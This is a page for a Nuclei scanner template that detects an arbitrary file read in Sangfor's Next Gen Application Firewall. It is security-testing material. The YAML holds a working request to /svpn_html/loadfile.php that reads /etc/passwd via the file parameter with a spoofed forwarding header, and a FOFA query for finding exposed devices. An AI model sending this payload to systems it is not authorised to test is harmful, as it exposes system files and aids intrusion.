Sangfor Next Gen Application Firewall - Arbitary File Read

ID: sangfor-nextgen-lfi

Severity: high

Author: DhiyaneshDk

Tags: sangfor,lfi

Description

Sangfor Next Gen Application Firewall is susceptible to Local File Inclusion as it does not validate the file parameter.

YAML Source

id: sangfor-nextgen-lfi

info:
  name: Sangfor Next Gen Application Firewall - Arbitary File Read
  author: DhiyaneshDk
  severity: high
  description: |
    Sangfor Next Gen Application Firewall is susceptible to Local File Inclusion as it does not validate the file parameter.
  reference:
    - https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/
  classification:
    cpe: cpe:2.3:a:sangfor:next-gen_application_firewall:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sangfor
    product: next-gen_application_firewall
    fofa-query: title="SANGFOR | NGAF"
  tags: sangfor,lfi

http:
  - raw:
      - |
        GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
        Host: {{Hostname}}
        y-forwarded-for: 127.0.0.1

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0"

      - type: word
        part: header
        words:
          - 'filename="passwd"'
          - 'application/octet-stream'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009abed98a99b8bb8cb8d207d1b7f1746f3d24ab202c0c3e63d79b9ea59c313e8802202b31bb9c334b6988a544ea5c114b7103b097432ba2e0170d1190136a2d96741b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/sangfor/sangfor-ngaf-lfi.yaml"

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